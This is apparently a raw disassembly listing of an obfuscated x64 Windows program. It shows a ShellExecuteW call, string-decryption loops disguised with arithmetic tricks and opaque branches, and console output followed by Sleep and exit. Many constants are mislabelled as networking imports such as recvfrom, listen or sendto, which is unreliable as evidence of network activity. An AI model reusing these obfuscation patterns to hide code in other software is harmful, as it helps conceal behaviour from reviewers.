mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, r14
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0xf0]
call fcn.1400249a0
nop
lea rcx, [rbp + 0xd0]
call fcn.1400249a0
nop
lea rcx, [rbp + 0x70]
call fcn.1400249a0
nop
lea rcx, [rbp - 0x58]
call fcn.1400249a0
lea rcx, [0x1402e00c0]
call fcn.1400f64c0
cmp byte [0x1402e02f0], bl
jne 0x1400d9c74
lea rcx, [0x1402e00c0]
call fcn.1400f2280
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp + 0x110], Ordinal_211
mov byte [rbp + 0x111], Ordinal_41
mov byte [rbp + 0x112], Ordinal_27
mov byte [rbp + 0x113], 0x7f
mov byte [rbp + 0x114], WSAStartup
mov byte [rbp + 0x115], 0x7d
mov byte [rbp + 0x116], 0x7b
mov byte [rbp + 0x117], WSAStartup
mov byte [rbp + 0x118], 8
mov byte [rbp + 0x119], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x11a], 0xcc
xor eax, eax
mov dword [rbp + 0x11b], eax
mov word [rbp + 0x11f], ax
movabs r14, 0x475a76ef2aa1
movabs r12, 0x1f379408a2a67
movabs r15, 0xd60f64cd7fe3
movzx edx, byte [rbp + 0x3c0]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
mov r11, rbx
cmp r11, 0x11
jae 0x1400d9c3f
movzx r10d, byte [rbp + r11 + 0x110]
mov rbx, r10
nop dword [rax]
cmp r8, r11
ja 0x1400d9c36
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d91c6
lea rdx, [r11 + r14]
movzx eax, dl
and al, bl
add al, al
sub dl, al
sub dl, 0x67
add dl, bl
jmp 0x1400d91f3
je 0x1400d9bc7
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d9b44
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d9af4
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d9ab3
cmp r9, r11
ja 0x1400d9c2d
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400d921c
lea ecx, [r11 + 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x73
jmp 0x1400d9250
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400d9a99
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d9a79
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400d9a5f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d9a45
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400d979c
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400d977f
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d975c
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d9739
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d9719
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d96ff
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d96e5
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d96cb
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400d96ae
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d967f
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d9260
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x64]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d9c0f
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d9bf1
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400d944e
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400d9434
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d941a
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400d9636
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d95f0
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400d95b2
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d958d
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d9260
lea r8, [r9 + 0x10]
lea r9, [r8 + 1]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d9561
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400d9544
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400d9527
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d950a
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d94f0
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400d94d2
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d94af
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d9489
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400d9468
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d9260
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x28]
jmp 0x1400d9260
lea ecx, [r11 + 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x13
jmp 0x1400d9250
lea ecx, [r11 + 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1f
jmp 0x1400d91f3
lea ecx, [r11 - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x51
jmp 0x1400d9196
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx ebx, r11b
jmp 0x1400d9acb
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc r9
dec r11
inc r11
jmp 0x1400d9183
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec r11
inc r11
jmp 0x1400d9183
lea ecx, [r11 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2e
movzx ebx, r11b
jmp 0x1400d9b0c
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x60
jmp 0x1400d9b29
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d9b2c
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d9b5c
lea edx, [r11 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d9b84
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x28
movzx eax, byte [rbp + r11 + 0x110]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d9183
lea ecx, [r11 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x25
mov byte [rbp + r11 + 0x110], dl
inc r11
jmp 0x1400d9183
lea ecx, [r11 + 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x57
cmp r9, 0x200
jb 0x1400d95a2
movzx ebx, r11b
lea ecx, [rbx + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edx, [rcx*2 - 0x14]
jmp 0x1400d9acb
lea ecx, [r11 - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x77
cmp r8, 6
jae 0x1400d9a07
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400d9911
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d95c7
lea ecx, [r11 - 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x45
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x1400d9a2b
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400d989b
lea ecx, [r11 + 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x75
jmp 0x1400d9605
lea edx, [r11 + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + r11 + 0x110]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d9183
lea edx, [r11 - 4]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d9b84
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x16
jmp 0x1400d9b5c
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x48
jmp 0x1400d9b2c
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7a
jmp 0x1400d9b29
movzx ebx, r11b
lea edx, [rbx - 0xc]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d9b0c
lea edx, [r11 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec r11
inc r11
jmp 0x1400d9183
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x10
inc r9
dec r11
inc r11
jmp 0x1400d9183
movzx ebx, r11b
lea ecx, [rbx + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x42
jmp 0x1400d9acb
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400d97c2
lea ecx, [r11 - 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x67
jmp 0x1400d964b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d97fa
lea edx, [r11 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + r11 + 0x110]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d9183
inc rax
cmp r8, rax
jne 0x1400d981f
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d9b5c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d9842
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x50
jmp 0x1400d9b2c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d986b
movzx ebx, r11b
lea edx, [rbx - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d9b0c
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d964b
lea edx, [r11 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec r11
inc r11
jmp 0x1400d9183
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d98c1
movzx ebx, r11b
lea ecx, [rbx - 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x59
jmp 0x1400d9acb
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d98ea
lea ecx, [r11 + 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0xb
dec r11
inc r11
jmp 0x1400d9183
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d9605
lea ecx, [r11 - 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5f
jmp 0x1400d9b2c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d9949
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + r11 + 0x110]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d9183
inc rax
cmp r8, rax
jne 0x1400d996b
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x68
jmp 0x1400d9b5c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d998e
lea ecx, [r11 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x36
jmp 0x1400d9b2c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d99b1
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 4
jmp 0x1400d9b29
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d99dd
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec r11
inc r11
jmp 0x1400d9183
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400d95c7
movzx ebx, r11b
lea ecx, [rbx - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3c
jmp 0x1400d9acb
movzx ebx, r11b
lea edx, [rbx + 0x68]
movzx eax, r10b
and al, dl
movzx ecx, byte [rbp + r11 + 0x110]
sub cl, al
add cl, 0x14
add cl, cl
add dl, cl
jmp 0x1400d9b0c
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400d9b5c
lea ecx, [r11 - 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x47
jmp 0x1400d9b2c
lea ecx, [r11 + 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x79
jmp 0x1400d9b29
lea ecx, [r11 - 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x23
dec r11
inc r11
jmp 0x1400d9183
movzx ebx, r11b
lea ecx, [rbx + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x41
jmp 0x1400d9acb
movzx ebx, r11b
lea ecx, [rbx - 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x5b
sub bl, 0x39
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x71
add bl, r10b
mov byte [rbp + r11 + 0x110], bl
inc r9
dec r11
inc r11
jmp 0x1400d9183
movzx ebx, r11b
lea ecx, [rbx + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3b
add bl, 9
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x3f
add bl, r10b
add bl, dl
mov byte [rbp + r11 + 0x110], bl
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400d9183
lea rcx, [r11 + r12]
movzx r10d, bl
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x2f
lea ecx, [r11 + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0xd
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x110], al
inc r9
add rax, r9
sub r11, rax
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x74
add cl, r10b
mov byte [rbp + r11 + 0x110], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x110]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d9183
lea rcx, [r11 + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x35
movzx eax, byte [rbp + r11 + 0x110]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d9183
sub r11b, 0x5b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x7d
xor ebx, ebx
jmp 0x1400d9180
add r11b, 0x63
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x4b
xor ebx, ebx
jmp 0x1400d9172
lea rdx, [rbp + 0x170a53c]
jmp 0x1400d9c46
lea rdx, [rbp + 0x15fcfdd]
jmp 0x1400d9c46
lea rdx, [rbp + 0x110]
mov rcx, rsi
call fcn.140040d30
mov rcx, rax
lea rdx, [0x1402e02f8]
call fcn.1400e4f00
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400c9890
lea rcx, [0x1402e00c0]
call fcn.1400f2280
mov byte [rbp + 0x130], 3
mov byte [rbp + 0x131], 0xba
mov byte [rbp + 0x132], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x133], Ordinal_60
mov byte [rbp + 0x134], 0x87
mov byte [rbp + 0x135], 0xca
mov byte [rbp + 0x136], 0x56
mov byte [rbp + 0x137], 0x57
xor eax, eax
mov qword [rbp + 0x138], rax
mov word [rbp + 0x140], ax
mov byte [rbp + 0x142], al
movabs r14, 0xad5f89d750f2478a
movabs r12, 0xbd9cc4e3369ff4c6
movabs r15, 0x81e9d85f2d6d69e
movzx r11d, byte [rbp + 0x3c0]
nop dword [rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
mov rdi, rbx
cmp rdi, 0x13
jae 0x1400da7f4
movzx ebx, byte [rbp + rdi + 0x130]
mov r10, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400da7eb
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d9d5c
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x3a
jmp 0x1400d9d90
je 0x1400da777
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400da6ef
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400da6a1
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400da65e
nop dword [rax]
cmp r9, rdi
ja 0x1400da7e2
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400d9db8
lea ecx, [rdi + 0x52]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
jmp 0x1400d9e00
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400da643
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400da61f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400da602
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400da5e8
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400da5be
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400da337
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400da31a
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400da2f3
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400da2d4
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400da2b6
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400da29d
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400da27f
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400da266
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400da248
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400da21e
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 9]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400da7c5
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400da7a3
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400da002
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400d9fe4
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400d9fc6
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400da1d5
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400da188
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400da14d
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400da124
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d9e10
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400da0f5
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400da0dc
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400da0be
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400da0a5
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400da087
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400da06e
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400da04a
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400da028
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400da01b
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d9e10
lea r8, [r9 + 6]
lea r9, [r8 + 0x28]
jmp 0x1400d9e10
lea edx, [rdi - 0x12]
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d9e00
lea edx, [rdi - 0x26]
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d9d90
lea ecx, [rdi - 0x3a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6a
jmp 0x1400d9d25
lea edx, [rdi - 0x70]
mov ecx, 8
jmp 0x1400da666
lea ecx, [rdi + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
inc r9
dec rdi
inc rdi
jmp 0x1400d9d13
lea edx, [rdi + 0x68]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400d9d13
lea ecx, [rdi + 0x54]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x1400da6b5
lea edx, [rdi + 0x40]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400da6d3
lea ecx, [rdi + 0x2c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x1400da6d6
lea edx, [rdi + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400da70d
lea ecx, [rdi + 4]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x1400da735
lea edx, [rdi - 0x10]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d9d13
lea edx, [rdi + 0x3e]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0x130], r11b
inc rdi
jmp 0x1400d9d13
lea ecx, [rdi + 0x2a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x26
cmp r9, 0x400
jb 0x1400da13d
lea edx, [rdi - 4]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400da677
lea edx, [rdi + 0x16]
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x200
jae 0x1400da581
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400da4d4
lea edx, [rdi + 0x34]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6c
add r11b, dl
jmp 0x1400da161
lea ecx, [rdi + 2]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
lea rax, [r8 + r9]
cmp rax, 6
je 0x1400da5a6
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400da433
lea edx, [rdi - 0x1e]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2e
add r11b, dl
jmp 0x1400da1a1
lea ecx, [rdi - 0x14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d9d13
lea edx, [rdi - 0x28]
movzx eax, dl
and al, bl
mov ecx, ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400da735
lea ecx, [rdi - 0x3c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x1400da70d
lea edx, [rdi - 0x50]
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400da6d6
lea ecx, [rdi - 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x1400da6d3
lea edx, [rdi - 0x78]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400da6b5
lea ecx, [rdi + 0x74]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2c
dec rdi
inc rdi
jmp 0x1400d9d13
lea edx, [rdi + 0x60]
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x1400d9d13
lea edx, [rdi + 0x4c]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x14
add r11b, dl
jmp 0x1400da677
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400da35e
lea edx, [rdi - 0x76]
movzx eax, bl
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400da1e9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400da391
lea ecx, [rdi - 0x5c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7c
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d9d13
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400da3b5
lea edx, [rdi - 0x34]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400da70a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400da3db
lea edx, [rdi + 8]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x38
add r11b, dl
jmp 0x1400da6b5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400da408
lea edx, [rdi + 0x1c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400d9d13
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400da1e9
lea edx, [rdi + 0x44]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
